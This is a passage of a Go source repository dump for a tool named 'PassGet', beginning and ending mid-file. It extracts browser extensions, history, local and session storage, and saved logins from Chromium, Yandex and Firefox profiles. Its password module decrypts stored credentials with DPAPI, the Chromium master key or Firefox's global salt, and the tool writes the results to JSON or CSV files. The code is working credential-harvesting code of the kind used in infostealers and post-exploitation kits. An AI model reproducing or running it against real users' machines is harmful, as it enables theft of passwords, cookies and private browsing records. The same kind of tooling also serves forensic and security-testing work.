64 | } 65 | if !settings.Exists() { 66 | return nil, fmt.Errorf("cannot find extensions in settings") 67 | } 68 | var c []*extension 69 | 70 | settings.ForEach(func(id, ext gjson.Result) bool { 71 | location := ext.Get("location") 72 | if !location.Exists() { 73 | return true 74 | } 75 | switch location.Int() { 76 | case 5, 10: // https://source.chromium.org/chromium/chromium/src/+/main:extensions/common/mojom/manifest.mojom 77 | return true 78 | } 79 | // https://source.chromium.org/chromium/chromium/src/+/main:extensions/browser/disable_reason.h 80 | enabled := !ext.Get("disable_reasons").Exists() 81 | b := ext.Get("manifest") 82 | if !b.Exists() { 83 | c = append(c, &extension{ 84 | ID: id.String(), 85 | Enabled: enabled, 86 | Name: ext.Get("path").String(), 87 | }) 88 | return true 89 | } 90 | c = append(c, &extension{ 91 | ID: id.String(), 92 | URL: getChromiumExtURL(id.String(), b.Get("update_url").String()), 93 | Enabled: enabled, 94 | Name: b.Get("name").String(), 95 | Description: b.Get("description").String(), 96 | Version: b.Get("version").String(), 97 | HomepageURL: b.Get("homepage_url").String(), 98 | }) 99 | return true 100 | }) 101 | 102 | return c, nil 103 | } 104 | 105 | func getChromiumExtURL(id, updateURL string) string { 106 | if strings.HasSuffix(updateURL, "clients2.google.com/service/update2/crx") { 107 | return "https://chrome.google.com/webstore/detail/" + id 108 | } else if strings.HasSuffix(updateURL, "edge.microsoft.com/extensionwebstorebase/v1/crx") { 109 | return "https://microsoftedge.microsoft.com/addons/detail/" + id 110 | } 111 | return "" 112 | } 113 | 114 | func (c *ChromiumExtension) Name() string { 115 | return "extension" 116 | } 117 | 118 | func (c *ChromiumExtension) Len() int { 119 | return len(*c) 120 | } 121 | 122 | type FirefoxExtension []*extension 123 | 124 | var lang = language.Und 125 | 126 | func (f *FirefoxExtension) Extract(_ []byte) error { 127 | s, err := fileutil.ReadFile(types.FirefoxExtension.TempFilename()) 128 | if err != nil { 129 | return err 130 | } 131 | _ = os.Remove(types.FirefoxExtension.TempFilename()) 132 | j := gjson.Parse(s) 133 | for _, v := range j.Get("addons").Array() { 134 | // https://searchfox.org/mozilla-central/source/toolkit/mozapps/extensions/internal/XPIDatabase.jsm#157 135 | if v.Get("location").String() != "app-profile" { 136 | continue 137 | } 138 | 139 | if lang != language.Und { 140 | locale := findFirefoxLocale(v.Get("locales").Array(), lang) 141 | *f = append(*f, &extension{ 142 | ID: v.Get("id").String(), 143 | Enabled: v.Get("active").Bool(), 144 | Name: locale.Get("name").String(), 145 | Description: locale.Get("description").String(), 146 | Version: v.Get("version").String(), 147 | HomepageURL: locale.Get("homepageURL").String(), 148 | }) 149 | continue 150 | } 151 | 152 | *f = append(*f, &extension{ 153 | ID: v.Get("id").String(), 154 | Enabled: v.Get("active").Bool(), 155 | Name: v.Get("defaultLocale.name").String(), 156 | Description: v.Get("defaultLocale.description").String(), 157 | Version: v.Get("version").String(), 158 | HomepageURL: v.Get("defaultLocale.homepageURL").String(), 159 | }) 160 | } 161 | return nil 162 | } 163 | 164 | func findFirefoxLocale(locales []gjson.Result, targetLang language.Tag) gjson.Result { 165 | tags := make([]language.Tag, 0, len(locales)) 166 | indices := make([]int, 0, len(locales)) 167 | for i, locale := range locales { 168 | for _, tagStr := range locale.Get("locales").Array() { 169 | tag, _ := language.Parse(tagStr.String()) 170 | if tag == language.Und { 171 | continue 172 | } 173 | tags = append(tags, tag) 174 | indices = append(indices, i) 175 | } 176 | } 177 | _, tagIndex, _ := language.NewMatcher(tags).Match(targetLang) 178 | return locales[indices[tagIndex]] 179 | } 180 | 181 | func (f *FirefoxExtension) Name() string { 182 | return "extension" 183 | } 184 | 185 | func (f *FirefoxExtension) Len() int { 186 | return len(*f) 187 | } 188 | -------------------------------------------------------------------------------- /modules/browser/browserdata/history/history.go: -------------------------------------------------------------------------------- 1 | package history 2 | 3 | import ( 4 | "database/sql" 5 | "os" 6 | "sort" 7 | "time" 8 | 9 | // import sqlite3 driver 10 | _ "modernc.org/sqlite" 11 | 12 | "PassGet/log" 13 | "PassGet/modules/utils/browser/extractor" 14 | "PassGet/modules/utils/browser/types" 15 | "PassGet/modules/utils/browser/typeutil" 16 | ) 17 | 18 | func init() { 19 | extractor.RegisterExtractor(types.ChromiumHistory, func() extractor.Extractor { 20 | return new(ChromiumHistory) 21 | }) 22 | extractor.RegisterExtractor(types.FirefoxHistory, func() extractor.Extractor { 23 | return new(FirefoxHistory) 24 | }) 25 | } 26 | 27 | type ChromiumHistory []history 28 | 29 | type history struct { 30 | Title string 31 | URL string 32 | VisitCount int 33 | LastVisitTime time.Time 34 | } 35 | 36 | const ( 37 | queryChromiumHistory = `SELECT url, title, visit_count, last_visit_time FROM urls` 38 | ) 39 | 40 | func (c *ChromiumHistory) Extract(_ []byte) error { 41 | db, err := sql.Open("sqlite", types.ChromiumHistory.TempFilename()) 42 | if err != nil { 43 | return err 44 | } 45 | defer os.Remove(types.ChromiumHistory.TempFilename()) 46 | defer db.Close() 47 | 48 | rows, err := db.Query(queryChromiumHistory) 49 | if err != nil { 50 | return err 51 | } 52 | defer rows.Close() 53 | for rows.Next() { 54 | var ( 55 | url, title string 56 | visitCount int 57 | lastVisitTime int64 58 | ) 59 | if err := rows.Scan(&url, &title, &visitCount, &lastVisitTime); err != nil { 60 | //log.Warnf("scan chromium history error: %v", err) 61 | } 62 | data := history{ 63 | URL: url, 64 | Title: title, 65 | VisitCount: visitCount, 66 | LastVisitTime: typeutil.TimeEpoch(lastVisitTime), 67 | } 68 | *c = append(*c, data) 69 | } 70 | sort.Slice(*c, func(i, j int) bool { 71 | return (*c)[i].VisitCount > (*c)[j].VisitCount 72 | }) 73 | return nil 74 | } 75 | 76 | func (c *ChromiumHistory) Name() string { 77 | return "history" 78 | } 79 | 80 | func (c *ChromiumHistory) Len() int { 81 | return len(*c) 82 | } 83 | 84 | type FirefoxHistory []history 85 | 86 | const ( 87 | queryFirefoxHistory = `SELECT id, url, COALESCE(last_visit_date, 0), COALESCE(title, ''), visit_count FROM moz_places` 88 | closeJournalMode = `PRAGMA journal_mode=off` 89 | ) 90 | 91 | func (f *FirefoxHistory) Extract(_ []byte) error { 92 | db, err := sql.Open("sqlite", types.FirefoxHistory.TempFilename()) 93 | if err != nil { 94 | return err 95 | } 96 | defer os.Remove(types.FirefoxHistory.TempFilename()) 97 | defer db.Close() 98 | 99 | _, err = db.Exec(closeJournalMode) 100 | if err != nil { 101 | return err 102 | } 103 | defer db.Close() 104 | rows, err := db.Query(queryFirefoxHistory) 105 | if err != nil { 106 | return err 107 | } 108 | defer rows.Close() 109 | for rows.Next() { 110 | var ( 111 | id, visitDate int64 112 | url, title string 113 | visitCount int 114 | ) 115 | if err = rows.Scan(&id, &url, &visitDate, &title, &visitCount); err != nil { 116 | log.Debugf("scan firefox history error: %v", err) 117 | } 118 | *f = append(*f, history{ 119 | Title: title, 120 | URL: url, 121 | VisitCount: visitCount, 122 | LastVisitTime: typeutil.TimeStamp(visitDate / 1000000), 123 | }) 124 | } 125 | sort.Slice(*f, func(i, j int) bool { 126 | return (*f)[i].VisitCount < (*f)[j].VisitCount 127 | }) 128 | return nil 129 | } 130 | 131 | func (f *FirefoxHistory) Name() string { 132 | return "history" 133 | } 134 | 135 | func (f *FirefoxHistory) Len() int { 136 | return len(*f) 137 | } 138 | -------------------------------------------------------------------------------- /modules/browser/browserdata/imports.go: -------------------------------------------------------------------------------- 1 | // Package browserdata is responsible for initializing all the necessary 2 | // components that handle different types of browser data extraction. 3 | // This file, imports.go, is specifically used to import various data 4 | // handler packages to ensure their initialization logic is executed. 5 | // These imports are crucial as they trigger the `init()` functions 6 | // within each package, which typically handle registration of their 7 | // specific data handlers to a central registry. 8 | package browserdata 9 | 10 | import ( 11 | _ "PassGet/modules/browser/browserdata/bookmark" 12 | _ "PassGet/modules/browser/browserdata/cookie" 13 | _ "PassGet/modules/browser/browserdata/creditcard" 14 | _ "PassGet/modules/browser/browserdata/download" 15 | _ "PassGet/modules/browser/browserdata/extension" 16 | _ "PassGet/modules/browser/browserdata/history" 17 | _ "PassGet/modules/browser/browserdata/localstorage" 18 | _ "PassGet/modules/browser/browserdata/password" 19 | _ "PassGet/modules/browser/browserdata/sessionstorage" 20 | ) 21 | -------------------------------------------------------------------------------- /modules/browser/browserdata/localstorage/localstorage.go: -------------------------------------------------------------------------------- 1 | package localstorage 2 | 3 | import ( 4 | "bytes" 5 | "database/sql" 6 | "fmt" 7 | "os" 8 | "strings" 9 | 10 | "github.com/syndtr/goleveldb/leveldb" 11 | "golang.org/x/text/encoding/unicode" 12 | "golang.org/x/text/transform" 13 | 14 | "PassGet/log" 15 | "PassGet/modules/utils/browser/byteutil" 16 | "PassGet/modules/utils/browser/extractor" 17 | "PassGet/modules/utils/browser/types" 18 | "PassGet/modules/utils/browser/typeutil" 19 | ) 20 | 21 | func init() { 22 | extractor.RegisterExtractor(types.ChromiumLocalStorage, func() extractor.Extractor { 23 | return new(ChromiumLocalStorage) 24 | }) 25 | extractor.RegisterExtractor(types.FirefoxLocalStorage, func() extractor.Extractor { 26 | return new(FirefoxLocalStorage) 27 | }) 28 | } 29 | 30 | type ChromiumLocalStorage []storage 31 | 32 | type storage struct { 33 | IsMeta bool 34 | URL string 35 | Key string 36 | Value string 37 | } 38 | 39 | const maxLocalStorageValueLength = 1024 * 2 40 | 41 | func (c *ChromiumLocalStorage) Extract(_ []byte) error { 42 | db, err := leveldb.OpenFile(types.ChromiumLocalStorage.TempFilename(), nil) 43 | if err != nil { 44 | return err 45 | } 46 | defer os.RemoveAll(types.ChromiumLocalStorage.TempFilename()) 47 | defer db.Close() 48 | 49 | iter := db.NewIterator(nil, nil) 50 | for iter.Next() { 51 | key := iter.Key() 52 | value := iter.Value() 53 | s := new(storage) 54 | s.fillKey(key) 55 | // don't all value upper than 2KB 56 | if len(value) < maxLocalStorageValueLength { 57 | s.fillValue(value) 58 | } else { 59 | s.Value = fmt.Sprintf("value is too long, length is %d, supported max length is %d", len(value), maxLocalStorageValueLength) 60 | } 61 | if s.IsMeta { 62 | s.Value = fmt.Sprintf("meta data, value bytes is %v", value) 63 | } 64 | *c = append(*c, *s) 65 | } 66 | iter.Release() 67 | err = iter.Error() 68 | return err 69 | } 70 | 71 | func (c *ChromiumLocalStorage) Name() string { 72 | return "localStorage" 73 | } 74 | 75 | func (c *ChromiumLocalStorage) Len() int { 76 | return len(*c) 77 | } 78 | 79 | func (s *storage) fillKey(b []byte) { 80 | keys := bytes.Split(b, []byte("\x00")) 81 | if len(keys) == 1 && bytes.HasPrefix(keys[0], []byte("META:")) { 82 | s.IsMeta = true 83 | s.fillMetaHeader(keys[0]) 84 | } 85 | if len(keys) == 2 && bytes.HasPrefix(keys[0], []byte("_")) { 86 | s.fillHeader(keys[0], keys[1]) 87 | } 88 | } 89 | 90 | func (s *storage) fillMetaHeader(b []byte) { 91 | s.URL = string(bytes.Trim(b, "META:")) 92 | } 93 | 94 | func (s *storage) fillHeader(url, key []byte) { 95 | s.URL = string(bytes.Trim(url, "_")) 96 | s.Key = string(bytes.Trim(key, "\x01")) 97 | } 98 | 99 | func convertUTF16toUTF8(source []byte, endian unicode.Endianness) ([]byte, error) { 100 | r, _, err := transform.Bytes(unicode.UTF16(endian, unicode.IgnoreBOM).NewDecoder(), source) 101 | return r, err 102 | } 103 | 104 | // fillValue fills value of the storage 105 | // TODO: support unicode charter 106 | func (s *storage) fillValue(b []byte) { 107 | value := bytes.Map(byteutil.OnSplitUTF8Func, b) 108 | s.Value = string(value) 109 | } 110 | 111 | type FirefoxLocalStorage []storage 112 | 113 | const ( 114 | queryLocalStorage = `SELECT originKey, key, value FROM webappsstore2` 115 | closeJournalMode = `PRAGMA journal_mode=off` 116 | ) 117 | 118 | func (f *FirefoxLocalStorage) Extract(_ []byte) error { 119 | db, err := sql.Open("sqlite", types.FirefoxLocalStorage.TempFilename()) 120 | if err != nil { 121 | return err 122 | } 123 | defer os.Remove(types.FirefoxLocalStorage.TempFilename()) 124 | defer db.Close() 125 | 126 | _, err = db.Exec(closeJournalMode) 127 | if err != nil { 128 | log.Debugf("close journal mode error: %v", err) 129 | } 130 | rows, err := db.Query(queryLocalStorage) 131 | if err != nil { 132 | return err 133 | } 134 | defer rows.Close() 135 | for rows.Next() { 136 | var originKey, key, value string 137 | if err = rows.Scan(&originKey, &key, &value); err != nil { 138 | log.Debugf("scan firefox local storage error: %v", err) 139 | } 140 | s := new(storage) 141 | s.fillFirefox(originKey, key, value) 142 | *f = append(*f, *s) 143 | } 144 | return nil 145 | } 146 | 147 | func (s *storage) fillFirefox(originKey, key, value string) { 148 | // originKey = moc.buhtig.:https:443 149 | p := strings.Split(originKey, ":") 150 | h := typeutil.Reverse([]byte(p[0])) 151 | if bytes.HasPrefix(h, []byte(".")) { 152 | h = h[1:] 153 | } 154 | if len(p) == 3 { 155 | s.URL = fmt.Sprintf("%s://%s:%s", p[1], string(h), p[2]) 156 | } 157 | s.Key = key 158 | s.Value = value 159 | } 160 | 161 | func (f *FirefoxLocalStorage) Name() string { 162 | return "localStorage" 163 | } 164 | 165 | func (f *FirefoxLocalStorage) Len() int { 166 | return len(*f) 167 | } 168 | -------------------------------------------------------------------------------- /modules/browser/browserdata/localstorage/localstorage_test.go: -------------------------------------------------------------------------------- 1 | package localstorage 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/assert" 7 | "golang.org/x/text/encoding/unicode" 8 | ) 9 | 10 | var testCases = []struct { 11 | in []byte 12 | wanted []byte 13 | actual []byte 14 | }{ 15 | { 16 | in: []byte{0x0, 0x7b, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x6b, 0x0, 0x65, 0x0, 0x79, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0x68, 0x0, 0x74, 0x0, 0x74, 0x0, 0x70, 0x0, 0x73, 0x0, 0x3a, 0x0, 0x2f, 0x0, 0x2f, 0x0, 0x77, 0x0, 0x77, 0x0, 0x77, 0x0, 0x2e, 0x0, 0x76, 0x0, 0x6f, 0x0, 0x6c, 0x0, 0x63, 0x0, 0x65, 0x0, 0x6e, 0x0, 0x67, 0x0, 0x69, 0x0, 0x6e, 0x0, 0x65, 0x0, 0x2e, 0x0, 0x63, 0x0, 0x6f, 0x0, 0x6d, 0x0, 0x2f, 0x0, 0x70, 0x0, 0x72, 0x0, 0x6f, 0x0, 0x64, 0x0, 0x75, 0x0, 0x63, 0x0, 0x74, 0x0, 0x73, 0x0, 0x2f, 0x0, 0x66, 0x0, 0x65, 0x0, 0x69, 0x0, 0x6c, 0x0, 0x69, 0x0, 0x61, 0x0, 0x6e, 0x0, 0x22, 0x0, 0x2c, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x74, 0x0, 0x69, 0x0, 0x74, 0x0, 0x6c, 0x0, 0x65, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0xde, 0x98, 0xde, 0x8f, 0x2d, 0x0, 0x6b, 0x70, 0x71, 0x5c, 0x15, 0x5f, 0xce, 0x64, 0x22, 0x0, 0x2c, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x6d, 0x0, 0x61, 0x0, 0x6e, 0x0, 0x75, 0x0, 0x61, 0x0, 0x6c, 0x0, 0x5f, 0x0, 0x6b, 0x0, 0x65, 0x0, 0x79, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0x22, 0x0, 0x7d, 0x0}, 17 | wanted: []byte(`{"refer_key":"https://www.volcengine.com/product/feilian","refer_title":"飞连_SSO单点登录_VPN_终端安全合规_便捷Wifi认证-火山引擎","refer_manual_key":""}`), 18 | actual: []byte{0x7b, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x6b, 0x65, 0x79, 0x22, 0x3a, 0x22, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x77, 0x77, 0x77, 0x2e, 0x76, 0x6f, 0x6c, 0x63, 0x65, 0x6e, 0x67, 0x69, 0x6e, 0x65, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x70, 0x72, 0x6f, 0x64, 0x75, 0x63, 0x74, 0x73, 0x2f, 0x66, 0x65, 0x69, 0x6c, 0x69, 0x61, 0x6e, 0x22, 0x2c, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x74, 0x69, 0x74, 0x6c, 0x65, 0x22, 0x3a, 0x22, 0xc3, 0x9e, 0xe9, 0xa3, 0x9e, 0xe8, 0xbc, 0xad, 0x6b, 0xe7, 0x81, 0xb1, 0xe5, 0xb0, 0x95, 0xe5, 0xbf, 0x8e, 0xe6, 0x90, 0xa2, 0x2c, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x6d, 0x61, 0x6e, 0x75, 0x61, 0x6c, 0x5f, 0x6b, 0x65, 0x79, 0x22, 0x3a, 0x22, 0x22, 0x7d, 0xef, 0xbf, 0xbd}, 19 | }, 20 | } 21 | 22 | func TestLocalStorageKeyToUTF8(t *testing.T) { 23 | t.Parallel() 24 | for _, tc := range testCases { 25 | actual, err := convertUTF16toUTF8(tc.in, unicode.BigEndian) 26 | if err != nil { 27 | t.Error(err) 28 | } 29 | // TODO: fix this, value from local storage if contains chinese characters, need convert utf16 to utf8 30 | // but now, it can't convert, so just skip it. 31 | assert.Equal(t, tc.actual, actual, "chinese characters can't actual convert") 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /modules/browser/browserdata/outputter.go: -------------------------------------------------------------------------------- 1 | package browserdata 2 | 3 | import ( 4 | "encoding/csv" 5 | "encoding/json" 6 | "errors" 7 | "io" 8 | "os" 9 | "path/filepath" 10 | 11 | "github.com/gocarina/gocsv" 12 | "golang.org/x/text/encoding/unicode" 13 | "golang.org/x/text/transform" 14 | 15 | "PassGet/modules/utils/browser/extractor" 16 | ) 17 | 18 | type outPutter struct { 19 | json bool 20 | csv bool 21 | } 22 | 23 | func newOutPutter(flag string) *outPutter { 24 | o := &outPutter{} 25 | if flag == "json" { 26 | o.json = true 27 | } else { 28 | o.csv = true 29 | } 30 | return o 31 | } 32 | 33 | func (o *outPutter) Write(data extractor.Extractor, writer io.Writer) error { 34 | switch o.json { 35 | case true: 36 | encoder := json.NewEncoder(writer) 37 | encoder.SetIndent("", " ") 38 | encoder.SetEscapeHTML(false) 39 | return encoder.Encode(data) 40 | default: 41 | gocsv.SetCSVWriter(func(w io.Writer) *gocsv.SafeCSVWriter { 42 | writer := csv.NewWriter(transform.NewWriter(w, unicode.UTF8BOM.NewEncoder())) 43 | writer.Comma = ',' 44 | return gocsv.NewSafeCSVWriter(writer) 45 | }) 46 | return gocsv.Marshal(data, writer) 47 | } 48 | } 49 | 50 | func (o *outPutter) CreateFile(dir, filename string) (*os.File, error) { 51 | if filename == "" { 52 | return nil, errors.New("empty filename") 53 | } 54 | 55 | if dir != "" { 56 | if _, err := os.Stat(dir); os.IsNotExist(err) { 57 | err := os.MkdirAll(dir, 0o750) 58 | if err != nil { 59 | return nil, err 60 | } 61 | } 62 | } 63 | 64 | var file *os.File 65 | var err error 66 | p := filepath.Join(dir, filename) 67 | file, err = os.OpenFile(filepath.Clean(p), os.O_TRUNC|os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600) 68 | if err != nil { 69 | return nil, err 70 | } 71 | return file, nil 72 | } 73 | 74 | func (o *outPutter) Ext() string { 75 | if o.json { 76 | return "json" 77 | } 78 | return "csv" 79 | } 80 | -------------------------------------------------------------------------------- /modules/browser/browserdata/password/password.go: -------------------------------------------------------------------------------- 1 | package password 2 | 3 | import ( 4 | "database/sql" 5 | "encoding/base64" 6 | "os" 7 | "sort" 8 | "time" 9 | 10 | "github.com/tidwall/gjson" 11 | _ "modernc.org/sqlite" // import sqlite3 driver 12 | 13 | "PassGet/log" 14 | "PassGet/modules/utils/browser/crypto" 15 | "PassGet/modules/utils/browser/extractor" 16 | "PassGet/modules/utils/browser/types" 17 | "PassGet/modules/utils/browser/typeutil" 18 | ) 19 | 20 | func init() { 21 | extractor.RegisterExtractor(types.ChromiumPassword, func() extractor.Extractor { 22 | return new(ChromiumPassword) 23 | }) 24 | extractor.RegisterExtractor(types.YandexPassword, func() extractor.Extractor { 25 | return new(YandexPassword) 26 | }) 27 | extractor.RegisterExtractor(types.FirefoxPassword, func() extractor.Extractor { 28 | return new(FirefoxPassword) 29 | }) 30 | } 31 | 32 | type ChromiumPassword []loginData 33 | 34 | type loginData struct { 35 | UserName string 36 | encryptPass []byte 37 | encryptUser []byte 38 | Password string 39 | LoginURL string 40 | CreateDate time.Time 41 | } 42 | 43 | const ( 44 | queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins` 45 | ) 46 | 47 | func (c *ChromiumPassword) Extract(masterKey []byte) error { 48 | db, err := sql.Open("sqlite", types.ChromiumPassword.TempFilename()) 49 | if err != nil { 50 | return err 51 | } 52 | defer os.Remove(types.ChromiumPassword.TempFilename()) 53 | defer db.Close() 54 | 55 | rows, err := db.Query(queryChromiumLogin) 56 | if err != nil { 57 | return err 58 | } 59 | defer rows.Close() 60 | 61 | for rows.Next() { 62 | var ( 63 | url, username string 64 | pwd, password []byte 65 | create int64 66 | ) 67 | if err := rows.Scan(&url, &username, &pwd, &create); err != nil { 68 | log.Debugf("scan chromium password error: %v", err) 69 | } 70 | login := loginData{ 71 | UserName: username, 72 | encryptPass: pwd, 73 | LoginURL: url, 74 | } 75 | 76 | if len(pwd) > 0 { 77 | password, err = crypto.DecryptWithDPAPI(pwd) 78 | if err != nil { 79 | password, err = crypto.DecryptWithChromium(masterKey, pwd) 80 | if err != nil { 81 | log.Debugf("decrypt chromium password error: %v", err) 82 | } 83 | } 84 | } 85 | 86 | if create > time.Now().Unix() { 87 | login.CreateDate = typeutil.TimeEpoch(create) 88 | } else { 89 | login.CreateDate = typeutil.TimeStamp(create) 90 | } 91 | login.Password = string(password) 92 | *c = append(*c, login) 93 | } 94 | // sort with create date 95 | sort.Slice(*c, func(i, j int) bool { 96 | return (*c)[i].CreateDate.After((*c)[j].CreateDate) 97 | }) 98 | return nil 99 | } 100 | 101 | func (c *ChromiumPassword) Name() string { 102 | return "password" 103 | } 104 | 105 | func (c *ChromiumPassword) Len() int { 106 | return len(*c) 107 | } 108 | 109 | type YandexPassword []loginData 110 | 111 | const ( 112 | queryYandexLogin = `SELECT action_url, username_value, password_value, date_created FROM logins` 113 | ) 114 | 115 | func (c *YandexPassword) Extract(masterKey []byte) error { 116 | db, err := sql.Open("sqlite", types.YandexPassword.TempFilename()) 117 | if err != nil { 118 | return err 119 | } 120 | defer os.Remove(types.YandexPassword.TempFilename()) 121 | defer db.Close() 122 | 123 | rows, err := db.Query(queryYandexLogin) 124 | if err != nil { 125 | return err 126 | } 127 | defer rows.Close() 128 | 129 | for rows.Next() { 130 | var ( 131 | url, username string 132 | pwd, password []byte 133 | create int64 134 | ) 135 | if err := rows.Scan(&url, &username, &pwd, &create); err != nil { 136 | log.Debugf("scan yandex password error: %v", err) 137 | } 138 | login := loginData{ 139 | UserName: username, 140 | encryptPass: pwd, 141 | LoginURL: url, 142 | } 143 | 144 | if len(pwd) > 0 { 145 | if len(masterKey) == 0 { 146 | password, err = crypto.DecryptWithDPAPI(pwd) 147 | } else { 148 | password, err = crypto.DecryptWithChromium(masterKey, pwd) 149 | } 150 | if err != nil { 151 | log.Debugf("decrypt yandex password error: %v", err) 152 | } 153 | } 154 | if create > time.Now().Unix() { 155 | login.CreateDate = typeutil.TimeEpoch(create) 156 | } else { 157 | login.CreateDate = typeutil.TimeStamp(create) 158 | } 159 | login.Password = string(password) 160 | *c = append(*c, login) 161 | } 162 | // sort with create date 163 | sort.Slice(*c, func(i, j int) bool { 164 | return (*c)[i].CreateDate.After((*c)[j].CreateDate) 165 | }) 166 | return nil 167 | } 168 | 169 | func (c *YandexPassword) Name() string { 170 | return "password" 171 | } 172 | 173 | func (c *YandexPassword) Len() int { 174 | return len(*c) 175 | } 176 | 177 | type FirefoxPassword []loginData 178 | 179 | func (f *FirefoxPassword) Extract(globalSalt []byte) error { 180 | logins, err := getFirefoxLoginData() 181 | if err != nil { 182 | return err 183 | } 184 | 185 | for _, v := range logins { 186 | userPBE, err := crypto.NewASN1PBE(v.encryptUser) 187 | if err != nil { 188 | return err 189 | } 190 | pwdPBE, err := crypto.NewASN1PBE(v.encryptPass) 191 | if err != nil { 192 | return err 193 | } 194 | user, err := userPBE.Decrypt(globalSalt) 195 | if err != nil { 196 | return err 197 | } 198 | pwd, err := pwdPBE.Decrypt(globalSalt) 199 | if err != nil { 200 | return err 201 | } 202 | *f = append(*f, loginData{ 203 | LoginURL: v.LoginURL, 204 | UserName: string(user), 205 | Password: string(pwd), 206 | CreateDate: v.CreateDate, 207 | }) 208 | } 209 | 210 | sort.Slice(*f, func(i, j int) bool { 211 | return (*f)[i].CreateDate.After((*f)[j].CreateDate) 212 | }) 213 | return nil 214 | } 215 | 216 | func getFirefoxLoginData() ([]loginData, error) { 217 | s, err := os.ReadFile(types.FirefoxPassword.TempFilename()) 218 | if err != nil { 219 | return nil, err 220 | } 221 | defer os.Remove(types.FirefoxPassword.TempFilename()) 222 | loginsJSON := gjson.GetBytes(s, "logins") 223 | var logins []loginData 224 | if loginsJSON.Exists() { 225 | for _, v := range loginsJSON.Array() { 226 | var ( 227 | m loginData 228 | user []byte 229 | pass []byte 230 | ) 231 | m.LoginURL = v.Get("formSubmitURL").String() 232 | user, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String()) 233 | if err != nil { 234 | return nil, err 235 | } 236 | pass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String()) 237 | if err != nil { 238 | return nil, err 239 | } 240 | m.encryptUser = user 241 | m.encryptPass = pass 242 | m.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000) 243 | logins = append(logins, m) 244 | } 245 | } 246 | return logins, nil 247 | } 248 | 249 | func (f *FirefoxPassword) Name() string { 250 | return "password" 251 | } 252 | 253 | func (f *FirefoxPassword) Len() int { 254 | return len(*f) 255 | } 256 | -------------------------------------------------------------------------------- /modules/browser/browserdata/sessionstorage/sessionstorage.go: -------------------------------------------------------------------------------- 1 | package sessionstorage 2 | 3 | import ( 4 | "bytes" 5 | "database/sql" 6 | "fmt" 7 | "os" 8 | "strings" 9 | 10 | "github.com/syndtr/goleveldb/leveldb" 11 | "golang.org/x/text/encoding/unicode" 12 | "golang.org/x/text/transform" 13 | 14 | "PassGet/log" 15 | "PassGet/modules/utils/browser/byteutil" 16 | "PassGet/modules/utils/browser/extractor" 17 | "PassGet/modules/utils/browser/types" 18 | "PassGet/modules/utils/browser/typeutil" 19 | ) 20 | 21 | func init() { 22 | extractor.RegisterExtractor(types.ChromiumSessionStorage, func() extractor.Extractor { 23 | return new(ChromiumSessionStorage) 24 | }) 25 | extractor.RegisterExtractor(types.FirefoxSessionStorage, func() extractor.Extractor { 26 | return new(FirefoxSessionStorage) 27 | }) 28 | } 29 | 30 | type ChromiumSessionStorage []session 31 | 32 | type session struct { 33 | IsMeta bool 34 | URL string 35 | Key string 36 | Value string 37 | } 38 | 39 | const maxLocalStorageValueLength = 1024 * 2 40 | 41 | func (c *ChromiumSessionStorage) Extract(_ []byte) error { 42 | db, err := leveldb.OpenFile(types.ChromiumSessionStorage.TempFilename(), nil) 43 | if err != nil { 44 | return err 45 | } 46 | defer os.RemoveAll(types.ChromiumSessionStorage.TempFilename()) 47 | defer db.Close() 48 | 49 | iter := db.NewIterator(nil, nil) 50 | for iter.Next() { 51 | key := iter.Key() 52 | value := iter.Value() 53 | s := new(session) 54 | s.fillKey(key) 55 | // don't all value upper than 2KB 56 | if len(value) < maxLocalStorageValueLength { 57 | s.fillValue(value) 58 | } else { 59 | s.Value = fmt.Sprintf("value is too long, length is %d, supported max length is %d", len(value), maxLocalStorageValueLength) 60 | } 61 | if s.IsMeta { 62 | s.Value = fmt.Sprintf("meta data, value bytes is %v", value) 63 | } 64 | *c = append(*c, *s) 65 | } 66 | iter.Release() 67 | err = iter.Error() 68 | return err 69 | } 70 | 71 | func (c *ChromiumSessionStorage) Name() string { 72 | return "sessionStorage" 73 | } 74 | 75 | func (c *ChromiumSessionStorage) Len() int { 76 | return len(*c) 77 | } 78 | 79 | func (s *session) fillKey(b []byte) { 80 | keys := bytes.Split(b, []byte("-")) 81 | if len(keys) == 1 && bytes.HasPrefix(keys[0], []byte("META:")) { 82 | s.IsMeta = true 83 | s.fillMetaHeader(keys[0]) 84 | } 85 | if len(keys) == 2 && bytes.HasPrefix(keys[0], []byte("_")) { 86 | s.fillHeader(keys[0], keys[1]) 87 | } 88 | if len(keys) == 3 { 89 | if string(keys[0]) == "map" { 90 | s.Key = string(keys[2]) 91 | } else if string(keys[0]) == "namespace" { 92 | s.URL = string(keys[2]) 93 | s.Key = string(keys[1]) 94 | } 95 | } 96 | } 97 | 98 | func (s *session) fillMetaHeader(b []byte) { 99 | s.URL = string(bytes.Trim(b, "META:")) 100 | } 101 | 102 | func (s *session) fillHeader(url, key []byte) { 103 | s.URL = string(bytes.Trim(url, "_")) 104 | s.Key = string(bytes.Trim(key, "\x01")) 105 | } 106 | 107 | func convertUTF16toUTF8(source []byte, endian unicode.Endianness) ([]byte, error) { 108 | r, _, err := transform.Bytes(unicode.UTF16(endian, unicode.IgnoreBOM).NewDecoder(), source) 109 | return r, err 110 | } 111 | 112 | // fillValue fills value of the 